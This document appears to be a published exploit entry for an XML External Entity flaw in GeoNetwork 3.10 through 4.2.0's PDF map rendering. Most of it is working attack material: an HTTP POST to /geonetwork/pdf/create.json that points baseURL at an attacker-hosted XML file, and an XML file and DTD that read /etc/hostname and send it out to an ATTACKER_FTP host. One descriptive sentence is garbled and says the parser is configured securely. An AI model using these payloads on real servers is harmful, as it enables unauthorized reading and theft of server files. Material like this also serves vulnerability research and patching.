Geonetwork 4.2.0 – XML External Entity (XXE)
# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE) # Date: 2022-July-11 # Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb) # Vendor Homepage: https://geonetwork-opensource.org/ # Version: Geonetwork 3.10.X through 4.2.0 # Tested on: Microsoft Windows Server & Linux # Description: # GeoNetwork 3.1.x through 4.2.0 # During rendering pdf of map. # The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server. ====================PDF RENDERING==================== POST /geonetwork/pdf/create.json HTTP/1.1 Host: REDACTED Content-Type: application/json Connection: close Content-Length: 563 {"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",], "format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34, 20037508.34], "tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]} The parameters baseURL will be your XML files : ====================XXE_ATTACK==================== ====================XXE.XML======================= <!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]> <foo>&external;</foo> ====================X.dtd========================= They will call the x.dtd <!ENTITY % stuff SYSTEM "file:///etc/hostname"> <!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>"> |